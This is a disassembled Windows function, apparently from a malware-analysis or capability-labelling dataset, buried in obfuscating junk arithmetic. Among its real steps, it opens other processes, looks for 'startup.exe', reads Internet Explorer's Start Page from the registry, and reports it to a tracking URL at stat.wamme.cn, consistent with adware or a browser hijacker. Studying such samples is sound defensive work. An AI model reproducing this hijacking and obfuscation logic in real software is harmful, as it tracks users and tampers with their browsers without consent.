Function at 0x41b6a0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4450bd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.0042aa70
mov eax, dword [0x458190]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x45682c]
mov esi, dword [0x456824]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x456838]
mov eax, 0x329dfa79
imul ecx, ecx, 0x15bc8b
imul esi
sar edx, 0x14
mov esi, dword [0x456820]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x456830]
mov edx, ecx
imul ecx, ecx, 0x537276
imul edx, edx, 0x53af19
add edi, edx
mov eax, 0x521ee247
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [str._r_____r____], edi
mov edi, eax
sub edi, ecx
mov ecx, dword [0x456834]
mov eax, 0x759571eb
imul ecx
add edi, esi
sar edx, 0x15
mov esi, edx
add edi, edx
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr esi, 0x1f
shr ecx, 0x1f
xor ebx, ebx
add esi, edi
add ecx, edx
sub esi, ecx
mov dword [ebp - 0x10f0], ebx
mov dword [ebp - 4], ebx
mov dword [0x456818], esi
mov dword [ebp - 0x10e8], ebx
lea edx, [ebp - 0x10e8]
push edx
push 0x4472e0
push 0x17
push ebx
push 0x44b8d0
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [str._r_____r____]
mov esi, eax
mov eax, 0x329dfa79
imul dword [0x45682c]
sar edx, 0x14
mov ecx, edi
imul ecx, ecx, 0x50ebd8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [ebp - 0x10e0], ecx
mov ecx, dword [0x456820]
mov eax, 0x1eefbef3
imul ecx
mov eax, dword [ebp - 0x10e0]
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, dword [0x456818]
mov edx, ecx
imul edx, edx, 0x779018
add eax, edx
sub eax, dword [0x456830]
sub eax, 0x45ab63
cmp esi, ebx
mov dword [0x456820], eax
jge 0x41b894
mov eax, 0x622f07f9
imul edi, edi, 0x54f550
imul ecx, ecx, 0x53af19
imul dword [0x45682c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub edi, eax
add ecx, dword [0x456834]
add ecx, edi
lea eax, [edx + ecx - 0x45ab63]
mov dword [0x456824], eax
mov eax, dword [ebp - 0x10e8]
cmp eax, ebx
mov byte [ebp - 4], 0
je 0x41b88d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41dac7
mov ecx, dword [0x456824]
mov esi, dword [0x45681c]
mov eax, 0x606c8017
imul esi, esi, 0x536f78
imul ecx
mov ecx, dword [0x456838]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0x61e4609d
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x15
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [ebp - 0x10e8]
sub edi, ecx
lea edx, [ebp - 0x10f4]
push edx
mov dword [0x456828], edi
mov dword [ebp - 0x10f4], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov esi, dword [0x456820]
mov eax, 0x329dfa79
imul esi
mov eax, dword [0x456830]
mov edi, esi
imul eax, eax, 0x31e0ba
imul edi, edi, 0x537276
sar edx, 0x14
mov ecx, edx
add edi, edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x456824]
mov edx, edi
imul edx, edx, 0x45ab63
add ecx, eax
add ecx, edx
mov eax, 0x224214b1
imul dword [0x45681c]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
cmp dword [ebp - 0x10f4], ebx
mov dword [0x45682c], ecx
je 0x41b879
mov eax, 0x1eefbef3
imul edi, edi, 0x42333a
imul dword [0x45681c]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x456828]
mov edx, ecx
imul eax, eax, 0x1c242f
imul edx, edx, 0x45ab63
sub edi, edx
add edi, eax
cmp dword [ebp + 8], ebx
mov dword [0x456830], edi
je 0x41ba39
mov eax, 0x606c8017
imul dword [0x45681c]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x456828]
mov esi, ecx
imul esi, esi, 0x54f550
sub esi, edx
mov eax, 0xc4570565
imul ecx
add edx, ecx
mov ecx, dword [0x456818]
sar edx, 0x16
imul ecx, ecx, 0x536f78
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x456834]
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ecx, 0x56a378
mov dword [0x456834], esi
call fcn.0040fd00
mov edi, dword [0x456830]
mov ecx, dword [0x45682c]
mov esi, dword [0x456820]
mov eax, edi
imul esi, esi, 0x53af19
imul eax, eax, 0x54f550
mov dword [ebp - 0x10e0], eax
mov eax, 0x622f07f9
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [ebp - 0x10e0]
sub ebx, eax
mov eax, 0x521ee247
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
imul edx, edx, 0x45ab63
sub ebx, eax
add ebx, esi
sub ebx, edx
xor esi, esi
mov dword [0x456838], ebx
mov dword [ebp - 0x10f8], esi
nop
cmp esi, dword [ebp - 0x10f4]
jge 0x41da6a
mov eax, 0x606c8017
imul edi, edi, 0x53af19
imul dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x329dfa79
imul dword [0x456824]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
sub ebx, ecx
add eax, edx
sub ebx, eax
mov eax, dword [0x456838]
imul eax, eax, 0x15bc8b
add ebx, eax
add ebx, edi
mov dword [str._r_____r____], ebx
mov dword [ebp - 0x10d4], 0
mov eax, esi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10e8]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov ebx, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov esi, edi
imul esi, esi, 0x50ebd8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub esi, eax
mov eax, 0x1eefbef3
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub esi, eax
mov eax, dword [0x456830]
add esi, edx
sub esi, eax
sub esi, 0x45ab63
mov dword [0x456820], esi
test ebx, ebx
jge 0x41bbf3
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da50
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41da4a
mov eax, 0x329dfa79
imul esi
mov eax, dword [0x456824]
mov ebx, esi
imul eax, eax, 0x45ab63
imul ebx, ebx, 0x537276
sar edx, 0x14
add ebx, edx
mov ecx, edx
mov edx, dword [0x456830]
imul edx, edx, 0x31e0ba
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, eax
mov eax, 0x224214b1
imul dword [0x45681c]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov dword [0x45682c], ecx
mov dword [ebp - 0x10c8], 0
je 0x41bc7d
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x447338
push eax
call dword [ecx]
mov edi, dword [str._r_____r____]
mov ecx, dword [0x45682c]
mov esi, dword [0x456820]
mov ebx, dword [0x456830]
mov eax, 0x521ee247
imul ebx, ebx, 0x537276
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, dword [0x456834]
add eax, esi
mov dword [ebp - 0x10d0], eax
mov eax, 0x759571eb
imul ebx
mov eax, dword [ebp - 0x10d0]
sar edx, 0x15
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x224214b1
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [0x456818], esi
jne 0x41bd09
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41da50
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41da4a
mov eax, 0x622f07f9
imul esi, esi, 0x53af19
imul edi, edi, 0x54f550
imul ecx
sar edx, 0x15
mov eax, edx
add esi, ebx
mov ebx, dword [0x456828]
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x779018
sub edi, eax
add esi, edi
lea esi, [edx + esi - 0x45ab63]
mov dword [0x456824], esi
mov dword [ebp - 0x10e4], 0
imul esi, esi, 0x42333a
imul ecx, ecx, 0x45ab63
mov eax, 0x1eefbef3
imul ebx, ebx, 0x1c242f
imul dword [0x45681c]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10c8]
sub esi, ecx
lea edx, [ebp - 0x10e4]
add esi, ebx
push edx
mov dword [0x456830], esi
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
xor ebx, ebx
cmp eax, ebx
jl 0x41cd25
mov esi, dword [0x456838]
mov ecx, dword [0x45681c]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x622f07f9
imul ecx
mov ecx, dword [0x456830]
sar edx, 0x15
imul ecx, ecx, 0x53af19
add edi, edx
mov eax, edx
mov edx, esi
imul edx, edx, 0x15bc8b
shr eax, 0x1f
add eax, edi
sub eax, edx
mov edx, dword [0x456824]
add eax, ecx
mov ecx, dword [ebp - 0x10e4]
sub eax, edx
add eax, 0x42333a
cmp ecx, ebx
mov dword [0x45681c], eax
mov dword [ebp - 0x10d8], ebx
je 0x41be2c
mov edx, dword [ecx]
lea eax, [ebp - 0x10d8]
push eax
push 0x447348
push ecx
call dword [edx]
mov ecx, dword [ebp - 0x10e4]
mov esi, dword [0x456838]
mov eax, 0x606c8017
imul dword [0x456824]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45681c]
imul edx, edx, 0x536f78
sub edx, eax
mov dword [ebp - 0x10d0], edx
mov eax, 0xbc70579
imul esi
mov eax, dword [ebp - 0x10d0]
sar edx, 0x10
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x61e4609d
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10d8]
sub edi, esi
cmp eax, ebx
mov byte [ebp - 4], 6
mov dword [0x456828], edi
jne 0x41bed6
cmp ecx, ebx
mov byte [ebp - 4], 4
je 0x41beab
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41bebf
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41da4a
jmp 0x41da44
push ebx
call fcn.0042aa2a
sub eax, dword [0x56a5d0]
add esp, 4
cmp eax, 0x708
jge 0x41c179
mov esi, dword [0x456824]
mov ecx, dword [0x45682c]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x329dfa79
imul esi
sar edx, 0x14
sub edi, ecx
mov ecx, dword [0x456838]
mov eax, edx
imul ecx, ecx, 0x15bc8b
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub edi, eax
mov eax, dword [ebp - 0x10c8]
add edi, ecx
add edi, edx
lea edx, [ebp - 0x1108]
push edx
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1108]
lea eax, [ebp - 0x10e0]
push eax
push ecx
mov dword [ebp - 0x10e0], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x456824]
sub eax, ecx
mov ecx, dword [0x456830]
mov edx, ecx
imul edx, edx, 0x53af19
add eax, edx
sub eax, esi
mov esi, dword [ebp - 0x10e0]
add eax, 0x42333a
cmp esi, ebx
mov dword [0x45681c], eax
je 0x41cca1
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x622f07f9
imul edi, edi, 0x54f550
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x456834]
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub edi, eax
push esi
add ecx, edi
push ebx
lea eax, [edx + ecx - 0x45ab63]
push 0x1f0fff
mov dword [0x456824], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x41c179
mov ecx, dword [0x456820]
mov edi, ecx
imul edi, edi, 0x537276
mov eax, 0x329dfa79
imul ecx
mov ecx, dword [0x456830]
sar edx, 0x14
imul ecx, ecx, 0x31e0ba
add edi, edx
mov eax, edx
mov edx, dword [0x456824]
shr eax, 0x1f
imul edx, edx, 0x45ab63
add eax, edi
add eax, ecx
mov ecx, dword [0x45681c]
add eax, edx
mov edi, eax
mov eax, 0x224214b1
imul ecx
mov cx, word [0x447d1c]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x447d1e]
sub edi, eax
mov dword [0x45682c], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push ebx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x45681c]
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ecx, dword [0x456828]
mov esi, ecx
imul esi, esi, 0x54f550
sub esi, edx
mov eax, 0xc4570565
imul ecx
add edx, ecx
mov ecx, dword [0x456818]
sar edx, 0x16
imul ecx, ecx, 0x536f78
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x456834]
mov eax, 0x329dfa79
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x2c4]
sub esi, eax
push str.startup.exe
push ecx
mov dword [0x456834], esi
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41cd11
mov ecx, dword [0x456828]
mov eax, 0x606c8017
imul dword [0x45681c]
mov esi, ecx
sar edx, 0x15
imul esi, esi, 0x54f550
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x536f78
sub esi, ecx
mov ecx, dword [0x456834]
add esi, edx
mov eax, 0x329dfa79
imul ecx
mov ecx, dword [ebp - 0x10f0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
inc ecx
cmp eax, ebx
mov dword [0x456834], esi
mov dword [ebp - 0x10f0], ecx
je 0x41d985
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10cc], esp
push edx
call fcn.00407380
mov ecx, 0x56a378
call fcn.00406920
test al, al
jne 0x41d985
mov edi, dword [0x456824]
mov esi, dword [0x45682c]
mov eax, 0x606c8017
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xc4570565
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x329dfa79
imul edi
mov edi, dword [0x456830]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456838]
sub ecx, eax
imul edx, edx, 0x15bc8b
add ecx, edx
mov eax, edi
imul eax, eax, 0x53af19
add ecx, eax
mov eax, 0x329dfa79
imul esi
mov dword [str._r_____r____], ecx
imul ecx, ecx, 0x50ebd8
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
sub ecx, eax
mov eax, 0x1eefbef3
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x779018
sub ecx, eax
mov eax, dword [ebp - 0x10c8]
add ecx, edx
sub ecx, edi
sub ecx, 0x45ab63
lea edx, [ebp - 0x1100]
push edx
mov dword [0x456820], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x456820]
mov eax, 0x329dfa79
imul ecx
mov eax, dword [0x456830]
mov esi, ecx
imul eax, eax, 0x31e0ba
mov ecx, dword [0x456824]
imul esi, esi, 0x537276
sar edx, 0x14
imul ecx, ecx, 0x45ab63
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, eax
add edi, ecx
mov ecx, dword [0x45681c]
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov eax, edx
mov ecx, dword [ebp - 0x1100]
shr eax, 0x1f
add eax, edx
sub edi, eax
push ecx
mov dword [0x45682c], edi
call fcn.00420210
mov esi, dword [0x456824]
mov dword [ebp - 0x10cc], eax
mov ecx, dword [0x45682c]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x329dfa79
imul esi
sar edx, 0x14
sub edi, ecx
mov ecx, dword [0x456838]
mov eax, edx
imul ecx, ecx, 0x15bc8b
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub edi, eax
mov eax, dword [ebp - 0x10d8]
add edi, ecx
add edi, edx
lea edx, [ebp - 0x110c]
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push edx
push eax
xor edi, edi
call dword [ecx + 0x90]
mov ecx, dword [0x456838]
mov esi, eax
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x456824]
add eax, ebx
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x53af19
add eax, ecx
sub eax, edx
add eax, 0x42333a
test esi, esi
mov dword [0x45681c], eax
jne 0x41c445
mov edx, dword [ebp - 0x110c]
push edx
call fcn.00420210
mov edi, eax
push 0
call fcn.0042aa2a
sub eax, dword [0x56a334]
add esp, 4
cmp eax, 5
jle 0x41d275
test edi, edi
je 0x41c479
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c467
sub eax, edx
cmp eax, 5
ja 0x41d275
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov eax, 0x622f07f9
imul esi, esi, 0x54f550
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x456834]
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub esi, eax
add ecx, esi
lea eax, [edx + ecx - 0x45ab63]
mov dword [0x456824], eax
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41c4d5
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.004200b0
mov dword [ebp - 0x1104], eax
mov ecx, dword [0x456830]
imul ecx, ecx, 0x54f550
mov eax, 0x622f07f9
imul dword [0x45682c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x521ee247
imul ecx
mov eax, dword [0x456834]
sar edx, 0x14
imul eax, eax, 0x45ab63
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456820]
imul edx, edx, 0x53af19
sub ebx, ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
add ebx, edx
mov edx, dword [0x447d00]
sub ebx, eax
mov eax, dword [0x447d04]
mov dword [ebp - 0x13c], eax
xor eax, eax
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x447d08]
mov dword [ebp - 0x140], edx
mov dl, byte [0x447d0c]
mov dword [ebp - 0x138], ecx
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x456824]
mov eax, 0x606c8017
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
movsw word es:[edi], word [esi]
mov esi, dword [0x45682c]
mov edi, eax
mov eax, 0xc4570565
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x329dfa79
imul ecx
mov eax, dword [0x456830]
mov dword [0x456838], ebx
imul ebx, ebx, 0x15bc8b
imul eax, eax, 0x53af19
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, ebx
add edi, eax
mov dword [ebp - 0x10fc], 0
mov dword [str._r_____r____], edi
lea edx, [ebp - 0x10fc]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x40]
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41c8d7
mov esi, dword [0x456824]
mov edi, dword [0x45681c]
mov eax, 0x606c8017
imul edi, edi, 0x536f78
imul esi
imul esi, esi, 0x45ab63
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x456838]
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
add edi, edx
mov ebx, edx
mov eax, 0x61e4609d
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x456820]
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x456830]
mov eax, 0x521ee247
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x456828], ebx
mov ebx, ecx
imul ecx, ecx, 0x31e0ba
imul ebx, ebx, 0x537276
sub eax, ebx
mov edx, edi
imul edx, edx, 0x45ab63
add eax, edx
mov dword [ebp - 0x10d0], eax
mov eax, 0x759571eb
imul dword [0x456834]
mov eax, dword [ebp - 0x10d0]
sar edx, 0x15
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x224214b1
imul dword [0x456834]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov dword [0x456818], ebx
mov ebx, edi
mov eax, 0x329dfa79
imul ebx, ebx, 0x537276
imul edi
sar edx, 0x14
add ebx, edx
mov edi, edx
mov eax, 0x224214b1
imul dword [0x45681c]
shr edi, 0x1f
add edi, ebx
add edi, ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add edi, esi
add ecx, edx
sub edi, ecx
mov dword [ebp - 0x10d0], 0x104
mov dword [0x45682c], edi
lea edx, [ebp - 0x10d0]
push edx
mov edx, dword [ebp - 0x10fc]
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x10dc]
push ecx
push 0
push str.Start_Page
mov ebx, 1
push edx
mov dword [ebp - 0x10dc], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41c8d7
mov esi, dword [0x456838]
mov ecx, dword [0x45681c]
mov eax, 0x606c8017
imul esi
imul esi, esi, 0x15bc8b
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x622f07f9
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x456824]
sub ecx, esi
mov esi, dword [0x456830]
mov eax, esi
imul eax, eax, 0x53af19
add ecx, eax
mov eax, dword [0x56a658]
sub ecx, edi
add ecx, 0x42333a
test eax, eax
mov dword [0x45681c], ecx
jne 0x41c8e9
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.0042a5a0
add esp, 8
test eax, eax
jne 0x41c83a
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.0042a5a0
add esp, 8
test eax, eax
je 0x41c8d7
mov esi, dword [0x456824]
mov ecx, dword [0x45682c]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x329dfa79
imul esi
sar edx, 0x14
sub edi, ecx
mov ecx, dword [0x456838]
mov eax, edx
imul ecx, ecx, 0x15bc8b
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x53af19
sub edi, eax
lea eax, [ebp - 0x144]
push eax
add edi, ecx
add edi, edx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x559128
mov dword [str._r_____r____], edi
mov dword [0x56a658], ebx
call fcn.0042a331
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x456830]
mov edi, dword [0x456824]
mov ecx, dword [0x45681c]
mov edx, dword [0x456820]
imul esi, esi, 0x31e0ba
imul edi, edi, 0x45ab63
mov ebx, edx
mov eax, 0x329dfa79
imul ebx, ebx, 0x537276
imul edx
sar edx, 0x14
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
add eax, esi
add eax, edi
mov ebx, eax
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10fc]
sub ebx, ecx
push edx
mov dword [0x45682c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x456820]
mov esi, dword [0x456830]
mov eax, 0x521ee247
imul esi, esi, 0x537276
imul ecx
imul ecx, ecx, 0x45ab63
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x456834]
mov eax, 0x759571eb
imul esi
sar edx, 0x15
add edi, ecx
add edi, edx
mov ecx, edx
mov eax, 0x224214b1
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45681c]
